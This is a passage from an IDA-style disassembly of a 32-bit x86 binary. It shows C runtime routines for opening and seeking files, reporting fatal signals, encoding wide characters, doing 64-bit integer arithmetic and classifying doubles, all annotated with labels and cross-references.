loc_40BA01:				; CODE XREF: sub_40B9A0+53j
		mov	[ebp+var_20], 80000000h
		jmp	short loc_40BA2F
; ---------------------------------------------------------------------------


loc_40BA0A:				; CODE XREF: sub_40B9A0+58j
		mov	[ebp+var_20], 40000000h
		jmp	short loc_40BA2F
; ---------------------------------------------------------------------------


loc_40BA13:				; CODE XREF: sub_40B9A0+5Dj
		mov	[ebp+var_20], 0C0000000h
		jmp	short loc_40BA2F
; ---------------------------------------------------------------------------


loc_40BA1C:				; CODE XREF: sub_40B9A0+5Fj
		call	sub_408460
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40BD79
; ---------------------------------------------------------------------------


loc_40BA2F:				; CODE XREF: sub_40B9A0+68j
					; sub_40B9A0+71j ...
		mov	eax, [ebp+arg_8]
		cmp	eax, 20h
		jz	short loc_40BA5C
		jg	short loc_40BA41
		cmp	[ebp+arg_8], 10h
		jz	short loc_40BA53
		jmp	short loc_40BA77
; ---------------------------------------------------------------------------


loc_40BA41:				; CODE XREF: sub_40B9A0+97j
		mov	eax, [ebp+arg_8]
		cmp	eax, 30h
		jz	short loc_40BA65
		jl	short loc_40BA77
		cmp	[ebp+arg_8], 40h
		jz	short loc_40BA6E
		jmp	short loc_40BA77
; ---------------------------------------------------------------------------


loc_40BA53:				; CODE XREF: sub_40B9A0+9Dj
		mov	[ebp+var_28], 0
		jmp	short loc_40BA8A
; ---------------------------------------------------------------------------


loc_40BA5C:				; CODE XREF: sub_40B9A0+95j
		mov	[ebp+var_28], 1
		jmp	short loc_40BA8A
; ---------------------------------------------------------------------------


loc_40BA65:				; CODE XREF: sub_40B9A0+A7j
		mov	[ebp+var_28], 2
		jmp	short loc_40BA8A
; ---------------------------------------------------------------------------


loc_40BA6E:				; CODE XREF: sub_40B9A0+AFj
		mov	[ebp+var_28], 3
		jmp	short loc_40BA8A
; ---------------------------------------------------------------------------


loc_40BA77:				; CODE XREF: sub_40B9A0+9Fj
					; sub_40B9A0+A9j ...
		call	sub_408460
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40BD79
; ---------------------------------------------------------------------------


loc_40BA8A:				; CODE XREF: sub_40B9A0+BAj
					; sub_40B9A0+C3j ...
		mov	eax, ebx
		and	eax, 700h
		mov	[ebp+var_3C], eax
		cmp	eax, 300h
		jz	short loc_40BB0E
		jg	short loc_40BABC
		mov	eax, [ebp+var_3C]
		cmp	eax, 100h
		jz	short loc_40BAF3
		jg	short loc_40BAB1
		cmp	[ebp+var_3C], 0
		jz	short loc_40BAEA
		jmp	short loc_40BB17
; ---------------------------------------------------------------------------


loc_40BAB1:				; CODE XREF: sub_40B9A0+107j
		cmp	[ebp+var_3C], 200h
		jz	short loc_40BB05
		jmp	short loc_40BB17
; ---------------------------------------------------------------------------


loc_40BABC:				; CODE XREF: sub_40B9A0+FBj
		mov	eax, [ebp+var_3C]
		cmp	eax, 500h
		jz	short loc_40BAFC
		jg	short loc_40BAD3
		cmp	[ebp+var_3C], 400h
		jz	short loc_40BAEA
		jmp	short loc_40BB17
; ---------------------------------------------------------------------------


loc_40BAD3:				; CODE XREF: sub_40B9A0+126j
		mov	eax, [ebp+var_3C]
		cmp	eax, 600h
		jz	short loc_40BB05
		jl	short loc_40BB17
		cmp	[ebp+var_3C], 700h
		jz	short loc_40BAFC
		jmp	short loc_40BB17
; ---------------------------------------------------------------------------


loc_40BAEA:				; CODE XREF: sub_40B9A0+10Dj
					; sub_40B9A0+12Fj
		mov	[ebp+var_24], 3
		jmp	short loc_40BB2A
; ---------------------------------------------------------------------------


loc_40BAF3:				; CODE XREF: sub_40B9A0+105j
		mov	[ebp+var_24], 4
		jmp	short loc_40BB2A
; ---------------------------------------------------------------------------


loc_40BAFC:				; CODE XREF: sub_40B9A0+124j
					; sub_40B9A0+146j
		mov	[ebp+var_24], 1
		jmp	short loc_40BB2A
; ---------------------------------------------------------------------------


loc_40BB05:				; CODE XREF: sub_40B9A0+118j
					; sub_40B9A0+13Bj
		mov	[ebp+var_24], 5
		jmp	short loc_40BB2A
; ---------------------------------------------------------------------------


loc_40BB0E:				; CODE XREF: sub_40B9A0+F9j
		mov	[ebp+var_24], 2
		jmp	short loc_40BB2A
; ---------------------------------------------------------------------------


loc_40BB17:				; CODE XREF: sub_40B9A0+10Fj
					; sub_40B9A0+11Aj ...
		call	sub_408460
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40BD79
; ---------------------------------------------------------------------------


loc_40BB2A:				; CODE XREF: sub_40B9A0+151j
					; sub_40B9A0+15Aj ...
		mov	[ebp+var_14], 80h
		test	ebx, 100h
		jz	short loc_40BB58
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		add	eax, 4
		mov	[ebp+var_2C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_30], eax
		test	byte ptr [ebp+var_30], 80h
		jnz	short loc_40BB58
		mov	[ebp+var_14], 1


loc_40BB58:				; CODE XREF: sub_40B9A0+197j
					; sub_40B9A0+1AFj
		test	ebx, 40h
		jz	short loc_40BB6E
		or	[ebp+var_14], 4000000h
		or	[ebp+var_20], 10000h


loc_40BB6E:				; CODE XREF: sub_40B9A0+1BEj
		test	ebx, 1000h
		jz	short loc_40BB7D
		or	[ebp+var_14], 100h


loc_40BB7D:				; CODE XREF: sub_40B9A0+1D4j
		test	ebx, 20h
		jz	short loc_40BB8E
		or	[ebp+var_14], 8000000h
		jmp	short loc_40BB9D
; ---------------------------------------------------------------------------


loc_40BB8E:				; CODE XREF: sub_40B9A0+1E3j
		test	ebx, 10h
		jz	short loc_40BB9D
		or	[ebp+var_14], 10000000h


loc_40BB9D:				; CODE XREF: sub_40B9A0+1ECj
					; sub_40B9A0+1F4j
		call	sub_40A990
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BBBC
		call	sub_408460
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	loc_40BD79
; ---------------------------------------------------------------------------


loc_40BBBC:				; CODE XREF: sub_40B9A0+207j
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_411DD0
		mov	[ebp+var_18], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BC02
		call	dword_411CE8
		push	eax
		call	sub_408300
		pop	ecx
		push	esi
		call	sub_40ADA0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40BD79
; ---------------------------------------------------------------------------


loc_40BC02:				; CODE XREF: sub_40B9A0+244j
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411DEC
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_40BC39
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411CF8
		call	dword_411CE8
		push	eax
		call	sub_408300
		pop	ecx
		push	esi
		call	sub_40ADA0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40BD79
; ---------------------------------------------------------------------------


loc_40BC39:				; CODE XREF: sub_40B9A0+271j
		cmp	[ebp+var_1C], 2
		jnz	short loc_40BC45
		or	[ebp+var_1], 40h
		jmp	short loc_40BC4F
; ---------------------------------------------------------------------------


loc_40BC45:				; CODE XREF: sub_40B9A0+29Dj
		cmp	[ebp+var_1C], 3
		jnz	short loc_40BC4F
		or	[ebp+var_1], 8


loc_40BC4F:				; CODE XREF: sub_40B9A0+2A3j
					; sub_40B9A0+2A9j
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_40AB70
		add	esp, 8
		or	[ebp+var_1], 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	cl, [ebp+var_1]
		mov	[edx+eax+4], cl
		movzx	eax, [ebp+var_1]
		test	eax, 48h
		jnz	loc_40BD47
		test	eax, 80h
		jz	loc_40BD47
		test	ebx, 2
		jz	loc_40BD47
		push	2
		push	0FFFFFFFFh
		push	esi
		call	sub_40BEB0
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BCDD
		call	dword_411CE8
		cmp	eax, 83h
		jz	loc_40BD47
		push	esi
		call	sub_408E40
		pop	ecx
		push	esi
		call	sub_40ADA0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40BD79
; ---------------------------------------------------------------------------


loc_40BCDD:				; CODE XREF: sub_40B9A0+314j
		mov	[ebp+var_35], 0
		push	1
		lea	eax, [ebp+var_35]
		push	eax
		push	esi
		call	sub_40C950
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40BD1F
		cmp	[ebp+var_35], 1Ah
		jnz	short loc_40BD1F
		mov	eax, [ebp+var_34]
		push	eax
		push	esi
		call	sub_40CD10
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BD1F
		push	esi
		call	sub_408E40
		pop	ecx
		push	esi
		call	sub_40ADA0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BD79
; ---------------------------------------------------------------------------


loc_40BD1F:				; CODE XREF: sub_40B9A0+352j
					; sub_40B9A0+358j ...
		push	0
		push	0
		push	esi
		call	sub_40BEB0
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BD47
		push	esi
		call	sub_408E40
		pop	ecx
		push	esi
		call	sub_40ADA0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BD79
; ---------------------------------------------------------------------------


loc_40BD47:				; CODE XREF: sub_40B9A0+2E4j
					; sub_40B9A0+2EFj ...
		test	[ebp+var_1], 48h
		jnz	short loc_40BD70
		test	ebx, 8
		jz	short loc_40BD70
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	20h


loc_40BD70:				; CODE XREF: sub_40B9A0+3ABj
					; sub_40B9A0+3B3j
		push	esi
		call	sub_40ADA0
		pop	ecx
		mov	eax, esi


loc_40BD79:				; CODE XREF: sub_40B9A0+8Aj
					; sub_40B9A0+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B9A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD80	proc near		; CODE XREF: sub_40A710+2p

var_14		= dword	ptr -14h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40AE10
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40BDA7
		or	eax, 0FFFFFFFFh
		jmp	loc_40BEA4
; ---------------------------------------------------------------------------


loc_40BDA7:				; CODE XREF: sub_40BD80+1Dj
		cmp	ebx, 1
		jz	loc_40BEA2
		test	ebx, ebx
		jz	short loc_40BDCE
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40AE10
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	ebx
		pop	ecx
		jmp	loc_40BEA2
; ---------------------------------------------------------------------------


loc_40BDCE:				; CODE XREF: sub_40BD80+32j
		mov	eax, [ebp+arg_0]
		cmp	eax, 2
		jl	short loc_40BE23
		cmp	eax, 0Bh
		jg	short loc_40BDE2
		jmp	dword ptr byte_410120[eax*4]
; ---------------------------------------------------------------------------


loc_40BDE2:				; CODE XREF: sub_40BD80+59j
		cmp	[ebp+arg_0], 0Fh
		jz	short loc_40BE1A
		jmp	short loc_40BE23
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aAbort ; "abort"
		jmp	loc_40BE77
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aArithmeticErro ; "arithmetic error"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInterruption ; "interruption"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidStorage ; "invalid storage access"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------


loc_40BE1A:				; CODE XREF: sub_40BD80+66j
		mov	[ebp+var_4], offset aTerminationReq ; "termination request"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------


loc_40BE23:				; CODE XREF: sub_40BD80+54j
					; sub_40BD80+68j
		lea	eax, [ebp+var_5]
		mov	[ebp+var_4], eax
		mov	[ebp+var_5], 0


loc_40BE2D:				; CODE XREF: sub_40BD80+E3j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	eax, [edx+30h]
		mov	edx, [ebp+var_14]
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 66666667h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 2
		add	eax, edx
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40BE2D
		push	offset dword_411324
		push	offset aSignal	; "signal #"
		call	sub_40CEC0
		add	esp, 8


loc_40BE77:				; CODE XREF: sub_40BD80+71j
					; sub_40BD80+7Dj ...
		push	offset dword_411324
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40CEC0
		add	esp, 8
		push	offset dword_411324
		push	offset aTerminating ; "	-- terminating\n"
		call	sub_40CEC0
		add	esp, 8
		push	1
		call	sub_407AA0
		pop	ecx


loc_40BEA2:				; CODE XREF: sub_40BD80+2Aj
					; sub_40BD80+49j
		xor	eax, eax


loc_40BEA4:				; CODE XREF: sub_40BD80+22j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40BD80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEB0	proc near		; CODE XREF: sub_40A730+4Bp
					; sub_40B9A0+306p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_40AC20
		pop	ecx
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BED9
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BF22
; ---------------------------------------------------------------------------


loc_40BED9:				; CODE XREF: sub_40BEB0+17j
		mov	eax, [ebp+arg_8]
		push	eax
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	edi
		call	dword_411E14
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BF05
		call	dword_411CE8
		push	eax
		call	sub_408300
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BF22
; ---------------------------------------------------------------------------


loc_40BF05:				; CODE XREF: sub_40BEB0+41j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FDh
		mov	eax, esi


loc_40BF22:				; CODE XREF: sub_40BEB0+27j
					; sub_40BEB0+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A88
		jnb	short loc_40BF5B
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40BF6B


loc_40BF5B:				; CODE XREF: DMN0:0040BF3Ej
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BF8E
; ---------------------------------------------------------------------------


loc_40BF6B:				; CODE XREF: DMN0:0040BF59j
		push	ebx
		call	sub_40AD40
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_40BEB0
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40ADA0
		pop	ecx
		mov	eax, esi


loc_40BF8E:				; CODE XREF: DMN0:0040BF69j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA0	proc near		; CODE XREF: sub_40AF70+9Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		cmp	off_411924, 0
		jnz	loc_40C087
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_40BFDB
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_4101D4
		mov	ebx, dword_4101D8
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_40C1DD
; ---------------------------------------------------------------------------


loc_40BFDB:				; CODE XREF: sub_40BFA0+1Ej
		test	[ebp+arg_4], 0FF80h
		jnz	short loc_40BFFB
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		mov	[eax], dl
		mov	[ebp+var_4], 0
		jmp	short loc_40C074
; ---------------------------------------------------------------------------


loc_40BFFB:				; CODE XREF: sub_40BFA0+41j
		test	[ebp+arg_4], 0F800h
		jnz	short loc_40C024
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 6
		or	edx, 0C0h
		mov	[eax], dl
		mov	[ebp+var_4], 1
		jmp	short loc_40C074
; ---------------------------------------------------------------------------


loc_40C024:				; CODE XREF: sub_40BFA0+61j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 0Ch
		and	edx, 0Fh
		or	edx, 0E0h
		mov	[eax], dl
		mov	[ebp+var_4], 2
		jmp	short loc_40C074
; ---------------------------------------------------------------------------


loc_40C048:				; CODE XREF: sub_40BFA0+D8j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_4]
		dec	edx
		mov	[ebp+var_4], edx
		movzx	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		lea	ecx, [edx+edx*2]
		add	ecx, ecx
		mov	edx, [ebp+var_C]
		sar	edx, cl
		and	edx, 3Fh
		or	edx, 80h
		mov	[eax], dl


loc_40C074:				; CODE XREF: sub_40BFA0+59j
					; sub_40BFA0+82j ...
		cmp	[ebp+var_4], 0
		jg	short loc_40C048
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	eax, edx
		jmp	loc_40C1DD
; ---------------------------------------------------------------------------


loc_40C087:				; CODE XREF: sub_40BFA0+Ej
		mov	eax, [ebp+arg_8]
		movzx	eax, word ptr [eax+6]
		mov	byte ptr [ebp+var_4+3],	al
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_40C0D2
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_4101D4
		mov	ebx, dword_4101D8
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411924
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_40C1DD
; ---------------------------------------------------------------------------


loc_40C0D2:				; CODE XREF: sub_40BFA0+10Aj
					; sub_40BFA0+229j
		mov	al, byte ptr [ebp+var_4+3]
		cmp	al, 10h
		jnb	short loc_40C118
		movzx	eax, al
		mov	eax, off_411964[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jz	short loc_40C118
		movzx	eax, byte_4118A0
		cmp	[ebp+var_8], eax
		jge	short loc_40C118
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_40C118
		movzx	eax, byte ptr [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_12], ax
		test	ax, ax
		jnz	short loc_40C12B


loc_40C118:				; CODE XREF: sub_40BFA0+137j
					; sub_40BFA0+148j ...
		call	sub_408460
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_40C1DD
; ---------------------------------------------------------------------------


loc_40C12B:				; CODE XREF: sub_40BFA0+176j
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	byte ptr [ebp+var_4+3],	dl
		test	eax, 8000h
		jz	short loc_40C157
		movzx	eax, [ebp+arg_4]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_12]
		or	eax, edx
		mov	[ebp+arg_4], ax


loc_40C157:				; CODE XREF: sub_40BFA0+1A2j
		test	[ebp+var_12], 1000h
		jz	short loc_40C179
		movzx	eax, [ebp+arg_4]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+arg_4], ax


loc_40C179:				; CODE XREF: sub_40BFA0+1BDj
		test	[ebp+var_12], 2000h
		jz	short loc_40C1BD
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		test	[ebp+var_12], 0FFh
		jz	short loc_40C19B
		movzx	edx, [ebp+var_12]
		mov	[ebp+var_1C], edx
		jmp	short loc_40C1A2
; ---------------------------------------------------------------------------


loc_40C19B:				; CODE XREF: sub_40BFA0+1F0j
		movzx	edx, [ebp+arg_4]
		mov	[ebp+var_1C], edx


loc_40C1A2:				; CODE XREF: sub_40BFA0+1F9j
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax], dl
		test	dl, dl
		jnz	short loc_40C1B6
		mov	[ebp+var_10], 1


loc_40C1B6:				; CODE XREF: sub_40BFA0+20Dj
		mov	[ebp+var_C], 0


loc_40C1BD:				; CODE XREF: sub_40BFA0+1DFj
		test	[ebp+var_12], 4000h
		jnz	short loc_40C1CF
		cmp	[ebp+var_10], 0
		jz	loc_40C0D2


loc_40C1CF:				; CODE XREF: sub_40BFA0+223j
		mov	edx, [ebp+arg_8]
		movzx	eax, byte ptr [ebp+var_4+3]
		mov	[edx+6], ax
		mov	eax, [ebp+var_8]


loc_40C1DD:				; CODE XREF: sub_40BFA0+36j
					; sub_40BFA0+E2j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C1F0	proc near		; CODE XREF: sub_40B0C0+CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_4]
		or	eax, eax
		jnz	short loc_40C211
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_C]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_8]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_40C261
; ---------------------------------------------------------------------------


loc_40C211:				; CODE XREF: sub_40C1F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_C]
		mov	eax, [esp+4+arg_8]


loc_40C21F:				; CODE XREF: sub_40C1F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40C21F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_4]
		xchg	eax, ecx
		mul	[esp+4+arg_0]
		add	edx, ecx
		jb	short loc_40C24A
		cmp	edx, [esp+4+arg_C]
		ja	short loc_40C24A
		jb	short loc_40C252
		cmp	eax, [esp+4+arg_8]
		jbe	short loc_40C252


loc_40C24A:				; CODE XREF: sub_40C1F0+4Aj
					; sub_40C1F0+50j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]


loc_40C252:				; CODE XREF: sub_40C1F0+52j
					; sub_40C1F0+58j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C261:				; CODE XREF: sub_40C1F0+1Fj
		pop	ebx
		retn	10h
sub_40C1F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C270	proc near		; CODE XREF: sub_40B0C0+116p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_40C291
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_40C291:				; CODE XREF: sub_40C270+Bj
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_40C2AD
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_40C2AD:				; CODE XREF: sub_40C270+27j
		or	eax, eax
		jnz	short loc_40C2C9
		mov	ecx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40C30A
; ---------------------------------------------------------------------------


loc_40C2C9:				; CODE XREF: sub_40C270+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_C]
		mov	eax, [esp+0Ch+arg_8]


loc_40C2D7:				; CODE XREF: sub_40C270+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_40C2D7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_4]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_40C305
		cmp	edx, [esp+0Ch+arg_C]
		ja	short loc_40C305
		jb	short loc_40C306
		cmp	eax, [esp+0Ch+arg_8]
		jbe	short loc_40C306


loc_40C305:				; CODE XREF: sub_40C270+85j
					; sub_40C270+8Bj
		dec	esi


loc_40C306:				; CODE XREF: sub_40C270+8Dj
					; sub_40C270+93j
		xor	edx, edx
		mov	eax, esi


loc_40C30A:				; CODE XREF: sub_40C270+57j
		dec	edi
		jnz	short loc_40C314
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C314:				; CODE XREF: sub_40C270+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_40C270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C320	proc near		; CODE XREF: sub_40B0C0+13Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		or	ecx, eax
		mov	ecx, [esp+arg_0]
		jnz	short loc_40C339
		mov	eax, [esp+arg_8]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_40C339:				; CODE XREF: sub_40C320+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	[esp+4+arg_4]
		add	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_40C320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40B300+5p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		movzx	eax, word ptr [ecx+6]
		and	eax, 7FF0h
		cmp	eax, 7FF0h
		jnz	short loc_40C3A3
		test	word ptr [ecx+6], 0Fh
		jnz	short loc_40C390
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40C390
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40C390
		cmp	word ptr [ecx],	0
		jz	short loc_40C397


loc_40C390:				; CODE XREF: sub_40C360+1Aj
					; sub_40C360+21j ...
		mov	edx, 2
		jmp	short loc_40C39C
; ---------------------------------------------------------------------------


loc_40C397:				; CODE XREF: sub_40C360+2Ej
		mov	edx, 1


